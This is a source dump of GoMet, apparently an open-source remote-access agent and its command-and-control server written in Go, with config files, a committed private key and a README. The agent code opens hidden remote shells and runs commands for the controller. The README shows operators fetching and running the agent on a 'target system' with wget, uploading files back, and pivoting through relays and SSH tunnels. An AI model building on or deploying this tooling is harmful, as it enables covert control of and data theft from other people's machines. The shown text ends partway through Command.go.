├── .gitignore ├── config ├── config.json ├── server.pub ├── server.crt ├── config-tunnel.json └── server.key ├── agent ├── Shell_windows.go ├── Shell_unix.go └── Main.go ├── Main.go ├── gomet ├── Config.go ├── Api.go ├── Utils.go ├── Tunnel.go ├── Session.go ├── Command.go ├── CLI.go └── Server.go └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | logs/ 3 | share/ 4 | GoMet -------------------------------------------------------------------------------- /config/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "listenAddr":"0.0.0.0:8888", 3 | 4 | "socks": { 5 | "enable": true, 6 | "addr": "127.0.0.1:9050" 7 | }, 8 | 9 | "api": { 10 | "enable": false, 11 | "addr": "127.0.0.1:9000" 12 | } 13 | } 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /config/server.pub: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNFuG49WcQXK+k9WoyQPFUyJ9X 3 | 93RIOoqCDaSTM3BqxZ9dx5sALqj9ovhZP2mh7+KiaJEIIHtv6ceZyzfJ2/jSyXKq 4 | l0dZHsqv3Lzzt7dshEq4v9Q0npic96PuzoPKohk4QP+1/g0a0OClnbFXPFj4tCEu 5 | GM7CB7dGFFsfr+gSdQIDAQAB 6 | -----END PUBLIC KEY----- 7 | -------------------------------------------------------------------------------- /config/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIBlzCCAQACCQCmebeTkcDHMzANBgkqhkiG9w0BAQsFADAQMQ4wDAYDVQQKDAVH 3 | b01ldDAeFw0xOTAzMzExNTQ4MjZaFw0yMDAzMzAxNTQ4MjZaMBAxDjAMBgNVBAoM 4 | BUdvTWV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNFuG49WcQXK+k9Woy 5 | QPFUyJ9X93RIOoqCDaSTM3BqxZ9dx5sALqj9ovhZP2mh7+KiaJEIIHtv6ceZyzfJ 6 | 2/jSyXKql0dZHsqv3Lzzt7dshEq4v9Q0npic96PuzoPKohk4QP+1/g0a0OClnbFX 7 | PFj4tCEuGM7CB7dGFFsfr+gSdQIDAQABMA0GCSqGSIb3DQEBCwUAA4GBAI3Y7tg6 8 | a6vKEvRe5eMN/h7o3cOn4/cbd60qKF+ch/SFZYqw4JIpNXl1u4JSQToFWxHx077K 9 | c+v/3w1S8Wjk11i61IJBV0YSnz57lVmqKT7VswnwXxCBJSK/srbgrIXFiCYub2UD 10 | FfX4byqN7RUMMgpUbztbfAVdV8ReuczrOJrq 11 | -----END CERTIFICATE----- 12 | -------------------------------------------------------------------------------- /config/config-tunnel.json: -------------------------------------------------------------------------------- 1 | { 2 | "listenAddr":"0.0.0.0:8888", 3 | 4 | "socks": { 5 | "enable": true, 6 | "addr": "127.0.0.1:9050" 7 | }, 8 | 9 | "tunnel": { 10 | "listenAddr":"192.168.56.103:8888", 11 | "nodes": [ 12 | { 13 | "type":"ssh", 14 | "host": "192.168.56.101:22", 15 | "username": "user", 16 | "password": "user" 17 | }, 18 | { 19 | "type":"ssh", 20 | "host": "192.168.56.102:22", 21 | "username": "user", 22 | "password": "user" 23 | }, 24 | { 25 | "type":"ssh", 26 | "host": "192.168.56.103:22", 27 | "username": "user", 28 | "password": "user" 29 | } 30 | ] 31 | } 32 | } 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /config/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXAIBAAKBgQDNFuG49WcQXK+k9WoyQPFUyJ9X93RIOoqCDaSTM3BqxZ9dx5sA 3 | Lqj9ovhZP2mh7+KiaJEIIHtv6ceZyzfJ2/jSyXKql0dZHsqv3Lzzt7dshEq4v9Q0 4 | npic96PuzoPKohk4QP+1/g0a0OClnbFXPFj4tCEuGM7CB7dGFFsfr+gSdQIDAQAB 5 | AoGAOR01MTgOQq09MPgzYdlaG91fGrVMCc1bw0ofWesKVIHClvA+hzd3UmMvPFN/ 6 | jFxsxgPO1++L0KfPMVI5sBp1WWZ0xnHvAKY0tt/yyLWyi9zwD6oPevu2o9cc5Nxb 7 | 9PjD1DA7OoA8IlqEFTf5pZ+aMUJn07NfHLknMJSz5YAAsIECQQDyMd437d1I1qmV 8 | 7Sh38AHWhQbBLJsRkdN68QgAPyAcr3ndu97KAU6h1ficNN+DjrtyLjzgftGZZoFg 9 | HqyPU7zhAkEA2MeRS9/SlmhRczX0ZYHLcRSAoiINOcw7bcrRPkX+ddw+ZNgbGYbf 10 | fUMYOXt9zk82suPj5FLMngHbuSccxEgUFQJANjH0gN1oO+lVD2h/Or9pGeCwjz90 11 | /6x6/zK6UJvPiru1cGmew+Mg/lPMCuBF98FTrowsMSwPqNzoLGMQyA274QJAIatl 12 | etZpu+i59d4EdpuhQJABpq0JRtfcxyHAPB7c9eteWYVjOCTFo4v/QDZZBOkywrg4 13 | libyFvyM5wYXJrlXPQJBAI5vbbL02bM1ZAdXdiwERcz9G/eaxZpi8wJIvb2SoJLq 14 | Ygy+n+ku7L+ob25L6F1CnnNvnsLAReushQJ5ggWtXck= 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /agent/Shell_windows.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package main 4 | 5 | import ( 6 | "os" 7 | "os/exec" 8 | "syscall" 9 | ) 10 | 11 | func (a *Agent) execute(command string) { 12 | 13 | stream := openNewStream(a.session) 14 | 15 | if stream == nil { 16 | return 17 | } 18 | 19 | defer stream.Close() 20 | 21 | cmd := exec.Command("cmd.exe", "/C", command) 22 | cmd.Stdout = stream 23 | cmd.Stderr = stream 24 | 25 | cmd.Run() 26 | } 27 | 28 | 29 | func (a *Agent) shell() { 30 | 31 | stream := openNewStream(a.session) 32 | 33 | if stream == nil { 34 | return 35 | } 36 | 37 | defer stream.Close() 38 | 39 | var shell string 40 | shell = os.Getenv("SHELL") 41 | if shell == "" { 42 | shell = "cmd.exe" 43 | } 44 | 45 | command := exec.Command(shell) 46 | command.Env = []string{} 47 | command.Stdout = stream 48 | command.Stdin = stream 49 | command.Stderr = stream 50 | command.SysProcAttr = &syscall.SysProcAttr{ 51 | HideWindow: true, 52 | } 53 | 54 | err := command.Start() 55 | if err != nil { 56 | return 57 | } 58 | 59 | command.Wait() 60 | } 61 | -------------------------------------------------------------------------------- /Main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "./gomet" 5 | "fmt" 6 | "log" 7 | "math/rand" 8 | "os" 9 | "sync" 10 | "time" 11 | ) 12 | 13 | func main() { 14 | 15 | rand.Seed(time.Now().UnixNano()) 16 | 17 | err := os.MkdirAll("logs", 0700) 18 | if err != nil { 19 | fmt.Printf("Failed to create logs directory %s\n", err) 20 | return 21 | } 22 | 23 | err = os.MkdirAll("share", 0700) 24 | if err != nil { 25 | fmt.Printf("Failed to create share directory %s\n", err) 26 | return 27 | } 28 | 29 | logFile, _ := os.Create("logs/client.log") 30 | log.SetOutput(logFile) 31 | 32 | config, err := gomet.LoadConfig() 33 | if err != nil { 34 | fmt.Printf("Invalid configuration file: %s\n", err) 35 | return 36 | } 37 | 38 | var wg sync.WaitGroup 39 | wg.Add(1) 40 | 41 | server := gomet.NewServer(&wg, config) 42 | server.Start() 43 | 44 | cli := gomet.NewCLI(server) 45 | go cli.Start() 46 | 47 | if config.Api.Enable { 48 | api := gomet.NewApi(server) 49 | go api.Start() 50 | } 51 | 52 | log.Printf("Waiting for server to stop") 53 | wg.Wait() 54 | 55 | log.Printf("Server stopped") 56 | } -------------------------------------------------------------------------------- /gomet/Config.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "encoding/json" 5 | "log" 6 | "os" 7 | ) 8 | 9 | type Config struct { 10 | ListenAddr string `json:"listenAddr"` 11 | 12 | Socks struct { 13 | Enable bool `json:"enable"` 14 | Addr string `json:"addr"` 15 | } `json:"socks"` 16 | 17 | Tunnel struct { 18 | ListenAddr string `json:"listenAddr"` 19 | Nodes[] struct { 20 | Type string `json:"type"` 21 | Host string `json:"host"` 22 | Username string `json:"username"` 23 | Password string `json:"password"` 24 | }`json:"nodes"` 25 | 26 | } `json:"tunnel"` 27 | 28 | Api struct { 29 | Enable bool `json:"enable"` 30 | Addr string `json:"addr"` 31 | } `json:"api"` 32 | 33 | } 34 | 35 | 36 | func LoadConfig() (Config, error) { 37 | 38 | log.Println("Loading configuration") 39 | 40 | var config Config 41 | configFile, err := os.Open("config/config.json") 42 | 43 | if err != nil { 44 | return config, err 45 | } 46 | 47 | defer configFile.Close() 48 | 49 | jsonParser := json.NewDecoder(configFile) 50 | err = jsonParser.Decode(&config) 51 | 52 | if err != nil { 53 | return config, err 54 | } 55 | 56 | return config, nil 57 | } 58 | -------------------------------------------------------------------------------- /agent/Shell_unix.go: -------------------------------------------------------------------------------- 1 | // +build linux darwin freebsd netbsd openbsd 2 | 3 | package main 4 | 5 | import ( 6 | "github.com/kr/pty" 7 | "io" 8 | "os/exec" 9 | "syscall" 10 | ) 11 | 12 | 13 | func (a *Agent) execute(command string) { 14 | 15 | stream := openNewStream(a.session) 16 | 17 | if stream == nil { 18 | return 19 | } 20 | 21 | defer stream.Close() 22 | 23 | cmd := exec.Command("sh", "-c", command) 24 | cmd.Stdout = stream 25 | cmd.Stderr = stream 26 | 27 | cmd.Run() 28 | } 29 | 30 | 31 | func (a *Agent) shell() { 32 | 33 | stream := openNewStream(a.session) 34 | 35 | if stream == nil { 36 | return 37 | } 38 | 39 | defer stream.Close() 40 | 41 | file, tty, err := pty.Open() 42 | if err != nil { 43 | return 44 | } 45 | 46 | defer file.Close() 47 | defer tty.Close() 48 | 49 | command := exec.Command("bash") 50 | command.Env = []string{"TERM=xterm"} 51 | command.Stdout = tty 52 | command.Stdin = tty 53 | command.Stderr = tty 54 | command.SysProcAttr = &syscall.SysProcAttr{ 55 | Setctty: true, 56 | Setsid: true, 57 | } 58 | 59 | err = command.Start() 60 | if err != nil { 61 | return 62 | } 63 | 64 | go func() { 65 | io.Copy(stream, file) 66 | }() 67 | 68 | go func() { 69 | io.Copy(file, stream) 70 | }() 71 | 72 | command.Wait() 73 | } -------------------------------------------------------------------------------- /gomet/Api.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "encoding/json" 5 | "github.com/gorilla/mux" 6 | "log" 7 | "net/http" 8 | "strconv" 9 | ) 10 | 11 | 12 | type Api struct { 13 | server *Server 14 | } 15 | 16 | func NewApi(server *Server) *Api { 17 | 18 | return &Api{ 19 | server: server, 20 | } 21 | } 22 | 23 | func (s *Api) Start() { 24 | router := mux.NewRouter() 25 | 26 | router.HandleFunc("/sessions", s.GetSessions).Methods("GET") 27 | router.HandleFunc("/sessions/{Id}", s.GetSession).Methods("GET") 28 | router.HandleFunc("/sessions/{Id}", s.CloseSession).Methods("DELETE") 29 | router.HandleFunc("/sessions/{Id}/{Command}", s.GetSessionCommand).Methods("GET") 30 | 31 | log.Fatal(http.ListenAndServe(s.server.config.Api.Addr, router)) 32 | } 33 | 34 | func (s *Api) GetSessions(w http.ResponseWriter, r *http.Request) { 35 | sessions := make([]Session, 0) 36 | for _, session := range s.server.sessions { 37 | sessions = append(sessions, *session) 38 | } 39 | json.NewEncoder(w).Encode(sessions) 40 | } 41 | 42 | func (s *Api) GetSession(w http.ResponseWriter, r *http.Request) { 43 | params := mux.Vars(r) 44 | 45 | id, err := strconv.Atoi(params["Id"]) 46 | if err != nil { 47 | 48 | } 49 | 50 | session, err := s.server.GetSession(id) 51 | json.NewEncoder(w).Encode(session) 52 | } 53 | 54 | func (s *Api) GetSessionCommand(w http.ResponseWriter, r *http.Request) { 55 | params := mux.Vars(r) 56 | 57 | id, err := strconv.Atoi(params["Id"]) 58 | if err != nil { 59 | 60 | } 61 | 62 | session, err := s.server.GetSession(id) 63 | 64 | command := params["Command"] 65 | session.RunCommand(&Execute{ 66 | writer: w, 67 | command: s.server.osCommands[session.Os][command], 68 | }) 69 | } 70 | 71 | func (s *Api) CloseSession(w http.ResponseWriter, r *http.Request) { 72 | params := mux.Vars(r) 73 | 74 | id, err := strconv.Atoi(params["Id"]) 75 | if err != nil { 76 | 77 | } 78 | 79 | s.server.CloseSession(id) 80 | } -------------------------------------------------------------------------------- /gomet/Utils.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "bufio" 5 | "github.com/abiosoft/ishell" 6 | "github.com/xtaci/smux" 7 | "io" 8 | "log" 9 | "math/rand" 10 | "net" 11 | "regexp" 12 | "strings" 13 | "sync" 14 | ) 15 | 16 | func acceptNewStream(session *smux.Session) *smux.Stream { 17 | stream, err := session.AcceptStream() 18 | if err != nil { 19 | log.Printf("ERROR %s", err) 20 | return nil 21 | } 22 | log.Printf("New stream opened") 23 | return stream 24 | } 25 | 26 | func readParameter(c *ishell.Context, name string) string { 27 | c.Print(name) 28 | return c.ReadLine() 29 | } 30 | 31 | func handleConnection(conn net.Conn, stream *smux.Stream, registry *Registry) { 32 | 33 | registry.Register(stream) 34 | 35 | defer conn.Close() 36 | 37 | var wg sync.WaitGroup 38 | wg.Add(2) 39 | 40 | go func() { 41 | io.Copy(stream, conn) 42 | log.Printf("Close input") 43 | stream.Close() 44 | wg.Done() 45 | }() 46 | 47 | go func() { 48 | io.Copy(conn, stream) 49 | log.Printf("Close output") 50 | conn.Close() 51 | wg.Done() 52 | }() 53 | 54 | wg.Wait() 55 | 56 | log.Printf("Connection closed") 57 | 58 | registry.Unregister(stream) 59 | } 60 | 61 | const alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 62 | 63 | func randomString(length int) string { 64 | b := make([]byte, length) 65 | for i := range b { 66 | b[i] = alphabet[rand.Intn(len(alphabet))] 67 | } 68 | return string(b) 69 | } 70 | 71 | func stringMatch(regex string, value []byte) bool { 72 | match, _ := regexp.Match(regex, value) 73 | return match 74 | } 75 | 76 | func readHttpHeaders(reader *bufio.Reader) map[string] string { 77 | headers := make(map[string] string) 78 | for { 79 | line, _, err := reader.ReadLine() 80 | if err != nil { 81 | break 82 | } 83 | 84 | if len(line) == 0 { 85 | break 86 | } 87 | 88 | array := strings.SplitN(string(line),":", 2) 89 | if len(array) == 2 { 90 | headers[strings.ToLower(strings.TrimSpace(array[0]))] = strings.TrimSpace(array[1]) 91 | } 92 | } 93 | return headers 94 | } 95 | 96 | 97 | -------------------------------------------------------------------------------- /gomet/Tunnel.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "golang.org/x/crypto/ssh" 5 | "log" 6 | "net" 7 | "sync" 8 | "io" 9 | ) 10 | 11 | type Tunnel struct { 12 | client *ssh.Client 13 | } 14 | 15 | func NewTunnel(config Config) *Tunnel { 16 | 17 | log.Printf("Opening tunnel") 18 | 19 | var tunnel = Tunnel {} 20 | 21 | if len(config.Tunnel.Nodes) > 0 { 22 | 23 | for _, node := range config.Tunnel.Nodes { 24 | log.Printf("Connect to node %s", node.Host) 25 | tunnel.client = connectSshNode(tunnel.client, node.Host, node.Username, node.Password) 26 | } 27 | 28 | log.Printf("Tunnel opened, remote listen on %s", config.Tunnel.ListenAddr) 29 | 30 | laddr, err := net.ResolveTCPAddr("tcp", config.Tunnel.ListenAddr) 31 | log.Printf("Addr %s", laddr) 32 | 33 | remote, err := tunnel.client.Listen("tcp", config.Tunnel.ListenAddr) 34 | if err != nil { 35 | log.Printf("ERROR %s", err) 36 | } 37 | 38 | go handleSshConnections(remote, config) 39 | } 40 | return &tunnel 41 | } 42 | 43 | func (t *Tunnel) Connect(conn net.Conn, addr string) error { 44 | var remoteConn net.Conn 45 | var err error 46 | 47 | if t.client != nil { 48 | remoteConn, err = t.client.Dial("tcp", addr) 49 | } else { 50 | remoteConn, err = net.Dial("tcp", addr) 51 | } 52 | 53 | if err != nil { 54 | return err 55 | } 56 | 57 | go handleSshConnection(remoteConn, conn) 58 | 59 | return nil 60 | } 61 | 62 | 63 | func makeSshConfig(user, password string) (*ssh.ClientConfig, error) { 64 | 65 | config := ssh.ClientConfig{ 66 | User: user, 67 | Auth: []ssh.AuthMethod{ 68 | ssh.Password(password), 69 | }, 70 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { 71 | log.Printf("Ignored host %s key %s", hostname, key) 72 | return nil 73 | }, 74 | } 75 | 76 | return &config, nil 77 | } 78 | 79 | func connectSshNode(client *ssh.Client, host, username, password string) *ssh.Client { 80 | 81 | cfg, err := makeSshConfig(username, password) 82 | if err != nil { 83 | log.Printf("ERROR %s", err) 84 | return nil 85 | } 86 | 87 | var conn net.Conn 88 | if client == nil { 89 | conn, err = net.Dial("tcp", host) 90 | } else { 91 | conn, err = client.Dial("tcp", host) 92 | } 93 | 94 | if err != nil { 95 | log.Printf("ERROR %s", err) 96 | return nil 97 | } 98 | 99 | c, chans, reqs, err := ssh.NewClientConn(conn, host, cfg) 100 | if err != nil { 101 | log.Printf("ERROR %s", err) 102 | return nil 103 | } 104 | return ssh.NewClient(c, chans, reqs) 105 | } 106 | 107 | func handleSshConnections(remote net.Listener, config Config) { 108 | for { 109 | log.Printf("Waiting for remote connection...") 110 | remoteConn, err := remote.Accept() 111 | if err != nil { 112 | log.Printf("ERROR %s", err) 113 | break 114 | } 115 | 116 | log.Printf("New connection from %s", remoteConn.RemoteAddr()) 117 | 118 | localConn, err := net.Dial("tcp", config.ListenAddr) 119 | if err != nil { 120 | log.Printf("ERROR %s", err) 121 | break 122 | } 123 | 124 | go handleSshConnection(remoteConn, localConn) 125 | } 126 | } 127 | 128 | func handleSshConnection(remoteConn net.Conn, localConn net.Conn) { 129 | 130 | defer remoteConn.Close() 131 | defer localConn.Close() 132 | 133 | var wg sync.WaitGroup 134 | wg.Add(2) 135 | 136 | log.Printf("Handle connection %s to %s", remoteConn.RemoteAddr(), localConn.RemoteAddr()) 137 | 138 | go func() { 139 | io.Copy(localConn, remoteConn) 140 | log.Printf("Close input") 141 | localConn.Close() 142 | wg.Done() 143 | }() 144 | 145 | go func() { 146 | io.Copy(remoteConn, localConn) 147 | log.Printf("Close output") 148 | remoteConn.Close() 149 | wg.Done() 150 | }() 151 | 152 | wg.Wait() 153 | 154 | log.Printf("Connection closed") 155 | } -------------------------------------------------------------------------------- /gomet/Session.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "bufio" 5 | "github.com/xtaci/smux" 6 | "log" 7 | "net" 8 | "os" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | 14 | type Registry struct { 15 | streams map[uint32]*smux.Stream 16 | } 17 | 18 | func NewRegistry() Registry { 19 | return Registry{ 20 | streams: make(map[uint32]*smux.Stream), 21 | } 22 | } 23 | 24 | func (r *Registry) Register(stream *smux.Stream) { 25 | r.streams[stream.ID()] = stream 26 | log.Printf("Stream %d registered", stream.ID()) 27 | } 28 | 29 | func (r *Registry) Unregister(stream *smux.Stream) { 30 | delete(r.streams, stream.ID()) 31 | log.Printf("Stream %d unregistered", stream.ID()) 32 | } 33 | 34 | func (r *Registry) Close() { 35 | for _, stream := range r.streams { 36 | log.Printf("Closing stream %d", stream.ID()) 37 | stream.Close() 38 | } 39 | } 40 | 41 | 42 | type LogWriter struct { 43 | Logger *log.Logger 44 | } 45 | 46 | func (t *LogWriter) Write(p []byte) (n int, err error) { 47 | t.Logger.Print(string(p)) 48 | return len(p), nil 49 | } 50 | 51 | func (t *LogWriter) WriteString(s string) (n int, err error) { 52 | t.Logger.Print(s) 53 | return len(s), nil 54 | } 55 | 56 | 57 | type Session struct { 58 | Id int `json:"id"` 59 | Os string `json:"os"` 60 | Arch string `json:"arch"` 61 | Hostname string `json:"hostname"` 62 | Address string `json:"address"` 63 | 64 | jobIndex int 65 | jobs map[int]*Command 66 | 67 | registry Registry 68 | 69 | server *Server 70 | session *smux.Session 71 | commandStream *smux.Stream 72 | logWriter *LogWriter 73 | } 74 | 75 | func NewSession(server *Server, conn net.Conn, id int) *Session { 76 | 77 | log.Printf("Handle a new session") 78 | 79 | var err error 80 | 81 | var s = Session{ 82 | Id: id, 83 | server: server, 84 | jobIndex: 0, 85 | jobs: make(map[int]*Command), 86 | registry: NewRegistry(), 87 | } 88 | 89 | s.session, err = smux.Client(conn, nil) 90 | if err != nil { 91 | log.Printf("ERROR %s", err) 92 | return nil 93 | } 94 | 95 | s.commandStream, err = s.session.OpenStream() 96 | if err != nil { 97 | log.Printf("ERROR %s", err) 98 | return nil 99 | } 100 | 101 | log.Printf("Command stream opened") 102 | 103 | reader := bufio.NewReader(s.commandStream) 104 | systemInfo, _, err := reader.ReadLine() 105 | if err != nil { 106 | s.commandStream.Close() 107 | log.Printf("ERROR %s", err) 108 | return nil 109 | } 110 | 111 | array := strings.Split(string(systemInfo), "|") 112 | if len(array) != 3 { 113 | s.commandStream.Close() 114 | log.Printf("Invalid system info format") 115 | return nil 116 | } 117 | 118 | s.Os = array[0] 119 | s.Arch = array[1] 120 | s.Hostname = array[2] 121 | s.Address = conn.RemoteAddr().String() 122 | 123 | current_time := time.Now().Local() 124 | file, err := os.OpenFile("logs/" + current_time.Format("2006-01-02") + "_" + s.Hostname + ".log", os.O_RDWR | os.O_CREATE | os.O_APPEND, 0666) 125 | s.logWriter = &LogWriter{ 126 | Logger: log.New(file, "", log.LstdFlags), 127 | } 128 | 129 | return &s 130 | } 131 | 132 | 133 | func (s *Session) RunCommand(command Command) { 134 | 135 | s.logWriter.WriteString(command.String()) 136 | 137 | if command.GetRemoteCommand() != "" { 138 | s.commandStream.Write([]byte(command.GetRemoteCommand())) 139 | } 140 | if command.IsJob() { 141 | s.runBackgroundCommand(command) 142 | } else { 143 | s.runInteractiveCommand(command) 144 | } 145 | } 146 | 147 | func (s *Session) ConnectToRemote(conn net.Conn, remoteAddress string) { 148 | 149 | _, err := s.commandStream.Write([]byte("5\n" + remoteAddress + "\n")) 150 | if err != nil { 151 | log.Printf("ERROR %s", err) 152 | conn.Close() 153 | return 154 | } 155 | 156 | stream, err := s.session.AcceptStream() 157 | if err != nil { 158 | log.Printf("ERROR %s", err) 159 | conn.Close() 160 | return 161 | } 162 | 163 | go handleConnection(conn, stream, &s.registry) 164 | } 165 | 166 | 167 | func (s *Session) DownloadFile(remoteFilename string, localFilename string) { 168 | 169 | file, err := os.OpenFile(localFilename, os.O_RDWR|os.O_CREATE, 0755) 170 | if err != nil { 171 | log.Printf("ERROR %s", err) 172 | return 173 | } 174 | 175 | defer file.Close() 176 | 177 | s.RunCommand(&Download{ 178 | writer: file, 179 | remoteFilename: remoteFilename, 180 | }) 181 | } 182 | 183 | func (s *Session) UploadFile(localFilename string, remoteFilename string) { 184 | 185 | file, err := os.OpenFile(localFilename, os.O_RDONLY, 0755) 186 | if err != nil { 187 | log.Printf("ERROR %s", err) 188 | return 189 | } 190 | 191 | defer file.Close() 192 | 193 | s.RunCommand(&Upload{ 194 | reader: file, 195 | remoteFilename: remoteFilename, 196 | }) 197 | } 198 | 199 | func (s *Session) Close() { 200 | 201 | for _, job := range s.jobs { 202 | (*job).Stop() 203 | } 204 | 205 | s.commandStream.Write([]byte("6\n")) 206 | s.commandStream.Close() 207 | s.session.Close() 208 | } 209 | 210 | func (s *Session) String() string { 211 | return s.Hostname + " - " + s.Address + " - " + s.Os + "/" + s.Arch 212 | } 213 | 214 | 215 | /* Private functions */ 216 | 217 | func (s *Session) runBackgroundCommand(command Command) { 218 | s.jobs[s.newJobId()] = &command 219 | go command.Start(s.session, &s.registry, s.logWriter) 220 | } 221 | 222 | func (s *Session) runInteractiveCommand(command Command) { 223 | command.Start(s.session, &s.registry, s.logWriter) 224 | command.Stop() 225 | } 226 | 227 | func (s *Session) newJobId() int { 228 | s.jobIndex++ 229 | return s.jobIndex 230 | } 231 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | GoMet 2 | ===== 3 | 4 | Simple multi-platform agent and its controller. 5 | The agent communicates with its controller through TLS tunnel. 6 | 7 | #### Work in progress :) 8 | 9 | Build 10 | ----- 11 | Install Go (https://golang.org/dl/) and compile GoMet. 12 | 13 | ``` 14 | go build . 15 | ``` 16 | 17 | Basic usage 18 | ----------- 19 | 20 | Launch GoMet 21 | 22 | ``` 23 | #> ./GoMet 24 | 25 | 26 | ____ __ __ _ 27 | / ___| ___ | \/ | ___| |_ 28 | | | _ / _ \| |\/| |/ _ \ __| 29 | | |_| | (_) | | | | __/ |_ 30 | \____|\___/|_| |_|\___|\__| 31 | by Mimah 32 | 33 | server > info 34 | Local listener: 0.0.0.0:8888 35 | Socks listener: 127.0.0.1:9050 36 | HTTP magic: khRoKbh3AZSHbix 37 | server > 38 | server > help 39 | 40 | Commands: 41 | clear clear the screen 42 | exit Exit 43 | generate Generate an agent 44 | help display help 45 | info Print server information 46 | routes List routes 47 | sessions List sessions 48 | ``` 49 | 50 | On the target system download an agent for the corresponding OS and Architecture 51 | 52 | ``` 53 | wget https://:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent 54 | ```` 55 | 56 | The controller automatically builds an agent with the right information. 57 | 58 | **Note**: 59 | "khRoKbh3AZSHbix" is a random magic generated by the controller, type "info" in the GoMet CLI to know it. 60 | In this use-case you have to add --no-check-certificate option because the default TLS certificate is auto-signed. 61 | 62 | **Available OS** (see Golang GOOS): 63 | 64 | linux 65 | darwin 66 | windows 67 | solaris 68 | ... 69 | 70 | **Available Architectures** (see Golang GOARCH): 71 | 72 | 386 73 | amd64 74 | arm 75 | arm64 76 | ... 77 | 78 | Launch the agent 79 | ``` 80 | chmod +x agent 81 | ./agent 82 | ``` 83 | 84 | In GoMet CLI we can see the new session created 85 | ``` 86 | server > New session 1 - - : - darwin/amd64 87 | ``` 88 | 89 | Interact with a session 90 | ------------------------ 91 | 92 | ``` 93 | server > sessions open 1 94 | session 1 > help 95 | 96 | Commands: 97 | cat Print a file 98 | clear clear the screen 99 | close Close session 100 | connect Connect a local port to a remote Address 101 | download Download a file 102 | execute Execute a command 103 | exit Back to server 104 | getuid Get user Id 105 | help display help 106 | jobs List jobs 107 | listen Connect a remote port to a local Address 108 | ls List files 109 | netstat List connections 110 | ps List processes 111 | pwd Get current directory 112 | relay Relay listen 113 | shell Interactive remote shell 114 | streams List streams 115 | upload Upload a file 116 | 117 | 118 | session 1 > 119 | ``` 120 | 121 | TCP forwarding 122 | -------------- 123 | We can forward TCP connection through the agent TLS tunnel in both direction. 124 | 125 | ##### connect 126 | Listen a port locally (on the controller system) and forward it to a remote service. 127 | 128 | ##### listen 129 | Listen a port remotely (on the agent system) and forward it to a local service. 130 | 131 | 132 | Make a relay 133 | ------------ 134 | If the controller is not accessible from the target system (after network pivot) we can define a "relay" on another agent. 135 | Then we can access the controller through the relay like the controller itself. 136 | 137 | ``` 138 | session 1 > relay 139 | Remote Address: 0.0.0.0:9999 140 | session 1 > 141 | ``` 142 | 143 | And from the target system 144 | 145 | ``` 146 | wget https://:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent 147 | ```` 148 | 149 | Sharing files with the controller 150 | --------------------------------- 151 | The controller can share files. 152 | 153 | Copy a file in the share directory and download it with the magic URL 154 | ``` 155 | wget https://:8888/khRoKbh3AZSHbix/my_file --no-check-certificate 156 | ``` 157 | 158 | We can also upload a file to the controller 159 | ``` 160 | wget https://:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file 161 | ``` 162 | 163 | Generate an agent with the CLI 164 | ------------------------------ 165 | ``` 166 | server > generate 167 | OS: windows 168 | Arch: amd64 169 | Host: :8888 170 | HTTP proxy: 171 | HTTPS proxy: 172 | Proxy username: 173 | Proxy password: 174 | Generated agent URL: https://:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat 175 | server > 176 | ``` 177 | 178 | Configuration files 179 | ------------------- 180 | Default configuration is defined in **config/config.json** file. 181 | ``` 182 | { 183 | "listenAddr":"0.0.0.0:8888", 184 | 185 | "socks": { 186 | "enable": true, 187 | "addr": "127.0.0.1:9050" 188 | }, 189 | 190 | "api": { 191 | "enable": false, 192 | "addr": "127.0.0.1:9000" 193 | } 194 | } 195 | ``` 196 | 197 | Define a tunnel 198 | --------------- 199 | If we want to listen through a tunnel we can define it in the configuration file. SSH only actually. 200 | ``` 201 | { 202 | "listenAddr":"0.0.0.0:8888", 203 | 204 | "socks": { 205 | "enable": true, 206 | "addr": "127.0.0.1:9050" 207 | }, 208 | 209 | "tunnel": { 210 | "listenAddr":":8888", 211 | "nodes": [ 212 | { 213 | "type":"ssh", 214 | "host": ":22", 215 | "username": "user", 216 | "password": "user" 217 | }, 218 | { 219 | "type":"ssh", 220 | "host": ":22", 221 | "username": "user", 222 | "password": "user" 223 | }, 224 | { 225 | "type":"ssh", 226 | "host": ":22", 227 | "username": "user", 228 | "password": "user" 229 | } 230 | ] 231 | } 232 | } 233 | ``` 234 | 235 | Custom TLS certificate 236 | ---------------------- 237 | A default certificate is generated in the config directory. You can replace it with yours. 238 | 239 | **Warning:** If you change the certificate you have rebuild all the agents because the certificate hash will not be the same. 240 | 241 | HTTP API 242 | -------- 243 | Work in progress -------------------------------------------------------------------------------- /gomet/Command.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "github.com/xtaci/smux" 7 | "io" 8 | "log" 9 | "net" 10 | "sync" 11 | ) 12 | 13 | type Command interface { 14 | IsJob() bool 15 | GetRemoteCommand() string 16 | Start(session *smux.Session, registry *Registry, logger *LogWriter) 